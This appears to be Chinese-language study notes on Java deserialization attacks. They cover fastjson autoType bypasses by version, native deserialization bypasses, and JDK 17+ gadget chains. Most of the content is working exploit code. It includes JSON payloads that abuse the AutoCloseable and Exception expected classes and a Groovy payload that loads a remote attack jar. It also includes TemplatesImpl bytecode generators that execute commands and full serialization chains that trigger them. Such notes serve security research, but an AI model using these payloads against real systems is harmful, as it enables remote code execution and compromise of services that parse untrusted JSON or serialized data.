CC链

image-20250924165658874

CB链与shiro

image-20250924165822100

fastjson

1.2.24

image-20250924170037228

<=1.2.47

判断key值是否为@type之后做了一个checkAutoType的校验,被黑名单拦截

解决方法:向缓存类中添加一些我们的恶意类

image-20250924192915580

<=1.2.68

TypeUtils.loadClass()的地方加入了一个cache参数,默认为false,不能添加类

通过checkAutoType()校验的方式有哪些:

  1. 白名单里的类
  2. 开启了autotype
  3. 使用了JSONType注解
  4. 指定了期望类(expectClass)
  5. 缓存在mapping中的类
  6. 使用ParserConfig.AutoTypeCheckHandler接口通过校验的类

checkAutoType()中的expectClass参数类型为java.lang.Class,当expectClass传入checkAutoType()时不为null,并且我们要实例化的类是expectClass的子类或其实现时会将传入的类视为一个合法的类(不能在黑名单中),然后通过loadClass返回该类的class,我们就可以利用这个绕过checkAutoType()

EXP

1
2
3
4
5
6
7
8
9
package org.example;

import com.alibaba.fastjson.JSON;

public class AutoCloseableBypass {
public static void main(String[] args) {
JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"org.example.JavaBean\", \"cmd\":\"calc.exe\"}");
}
}

JavaBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import java.io.IOException;

public class JavaBean implements AutoCloseable{
public JavaBean(String cmd){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}
}
@Override
public void close() throws Exception {

}
}

1.2.80

在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Poc {
public static void main(String[] args) {
String json ="{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{\n" +
" }\n" +
"}";

try {
JSON.parse(json);
} catch (Exception e) {
}

json =
"{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":[\"http://127.0.0.1:8433/attack-1.jar\"]\n" +
" },\n" +
" \"gcl\":null,\n" +
" \"destDir\": \"/tmp\"\n" +
"}";
JSONObject.parse(json);
}
}

原生反序列化

fastjson<=1.2.48&fastjson2

fastjson2测至2.0.26

image-20250924204002796

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

fastjson1

在哪些情况下readObject的时候不会调用resolveClass,答案就是引用

如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查,答案是当向List、set、map类型中添加同样对象时即可成功利用

因此我们就可以利用这个思路构建攻击的payload了,这里简单以伪代码呈现,便于理解思路

1
2
3
4
5
6
7
8
9
10
11
TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator");
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray);
arrayList.add(bd);

WriteObjects(arrayList);

简单梳理下

序列化时,在这里templates先加入到arrayList中,后面在JSONArray中再次序列化TemplatesImpl时,由于在handles这个hash表中查到了映射,后续则会以引用形式输出

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Y4HackJSON {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("open -na Calculator")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}

高版本的一些绕过

jdk>=17的时候发现BadAttributeValueExpException.readObject()无法作为source,因此就需要找其他的触发toString()的链拼起来

EventListenerList.readObject() -> UndoManager#toString() ->Vector#toString()

利用代码

1
2
3
4
5
6
7
Vector vector = new Vector();
vector.add(jsonArray);
UndoManager undoManager = new UndoManager();
setField(undoManager,"edits",vector);
EventListenerList eventListenerList = new EventListenerList();
setField(eventListenerList,"listenerList",new Object[]{Class.class,undoManager});
unser(ser(eventListenerList));

HashMap#readObject()->putVal()->equals()->XString.equals()->toString()

自己写了个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static HashMap getXString(Object obj) throws Exception{
//obj传入待触发toString()的,可根据实际情况把XString换了,用来接任意equals

XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("zZ",obj);
hashMap1.put("yy",xstring);

hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);

HashMap hashMap = new HashMap();
hashMap.put("hashMap1", 1);
hashMap.put("hashMap2", 2);
setHashMapKey(hashMap,"hashMap1",hashMap1);//避免提前触发抛异常导致程序无法继续进行
setHashMapKey(hashMap,"hashMap2",hashMap2);

return hashMap;
}

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    public static void main(String[] args) throws Exception {

JSONArray jsonArray = new JSONArray();
jsonArray.add(getTemplates());
unser(ser(getHotSwappableTargetSource(jsonArray)));


}

public static HashMap getHotSwappableTargetSource(Object obj) throws Exception{

HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(obj);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("x"));

HashMap hashMap = new HashMap();
hashMap.put("1", hotSwappableTargetSource1);
hashMap.put("2", hotSwappableTargetSource2);
setHashMapKey(hashMap,"1",hotSwappableTargetSource1);
setHashMapKey(hashMap,"2",hotSwappableTargetSource2);

return hashMap;
}

image-20250924212110911

高版本(>2.0.26)绕过

黑名单绕过

动态代理绕过

  • JdkDynamicAopProxy

image-20250926114117348

  • AutowireUtils$ObjectFactoryDelegatingInvocationHandler

image-20250926114136983